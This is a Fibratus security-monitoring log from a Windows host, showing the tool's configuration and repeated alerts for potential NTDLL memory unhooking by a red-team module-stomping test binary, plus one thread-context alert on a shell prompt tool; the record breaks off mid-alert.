level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:11:58+01:00 level=info msg=bootstrapping with pid 14600. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:11:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true stack-enrichment=>true flush-interval=>1s min-buffers=>16 enable-thread=>true enable-audit-api=>true enable-mem=>false enable-threadpool=>false buffer-size=>512 enable-image=>true enable-fileio=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-registry=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text level=>info max-backups=>15 max-size=>100] + output ......................... [ http=>[ endpoints=>[] timeout=>5s enable-gzip=>false method=>POST enabled=>false serializer=>json tls-insecure-skip-verify=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ tls-insecure-skip-verify=>false enabled=>false vhost=>/ exchange-type=>topic timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient passive=>false exchange=>fibratus durable=>false] elasticsearch=>[ index-name=>fibratus flush-period=>1s sniff=>false timeout=>5s template-name=>fibratus trace-log=>false bulk-workers=>1 gzip-compression=>false healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false fastscan=>true enabled=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s skip-allocs=>false skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:11:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:12:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:12:10+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1721529 + Pid: 1548 + Tid: 14524 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:06.2007911 +0100 CET + Params: base_address➜ 14533450000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1548, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055, rule.seq.link: 1762873930484582300, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 1548 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1721529 + Pid: 1548 + Tid: 14524 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:06.2007911 +0100 CET + Params: base_address➜ 14533450000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1548, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055, rule.seq.link: 1762873930484582300 + + Pid: 1548 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:10+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1721529 + Pid: 1548 + Tid: 14524 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:06.2007911 +0100 CET + Params: base_address➜ 14533450000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1548, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 1762873930484582300, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055 + + Pid: 1548 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1721529 + Pid: 1548 + Tid: 14524 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:06.2007911 +0100 CET + Params: base_address➜ 14533450000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1548, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, technique.id: T1055, rule.seq.link: 1762873930484582300 + + Pid: 1548 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:24+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1730691 + Pid: 19272 + Tid: 19320 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:23.6123993 +0100 CET + Params: base_address➜ 1f01d8a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 19272, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 1762874154055261016, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 19272 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1730691 + Pid: 19272 + Tid: 19320 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:23.6123993 +0100 CET + Params: base_address➜ 1f01d8a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 19272, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 1762874154055261016, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 19272 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:24+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1730691 + Pid: 19272 + Tid: 19320 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:23.6123993 +0100 CET + Params: base_address➜ 1f01d8a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 19272, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 1762874154055261016 + + Pid: 19272 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1730691 + Pid: 19272 + Tid: 19320 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:23.6123993 +0100 CET + Params: base_address➜ 1f01d8a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 19272, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 1762874154055261016, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion + + Pid: 19272 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:30+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1736544 + Pid: 6900 + Tid: 16836 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:30.2791429 +0100 CET + Params: base_address➜ 1ae3b0a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6900, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: rule.seq.link: 1762874161795472116, technique.id: T1055, technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 6900 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1736544 + Pid: 6900 + Tid: 16836 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:30.2791429 +0100 CET + Params: base_address➜ 1ae3b0a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6900, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874161795472116, technique.id: T1055 + + Pid: 6900 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:30+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1736544 + Pid: 6900 + Tid: 16836 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:30.2791429 +0100 CET + Params: base_address➜ 1ae3b0a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6900, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874161795472116, technique.id: T1055, technique.name: Process Injection, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6900 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1736544 + Pid: 6900 + Tid: 16836 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:12:30.2791429 +0100 CET + Params: base_address➜ 1ae3b0a0000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6900, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.seq.link: 1762874161795472116, technique.id: T1055, technique.name: Process Injection, tactic.id: TA0005 + + Pid: 6900 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:32+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1740423 + Pid: 7336 + Tid: 3804 + Type: SetThreadContext + CPU: 1 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 16:12:30.4470903 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 7336 + Ppid: 17996 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=90.3712" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\module-stomping" "--pswd=C:\Fibratus\redteam\module-stomping" "--execution-time=90.3712" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:12:50+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1743183 + Pid: 16572 + Tid: 8464 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into 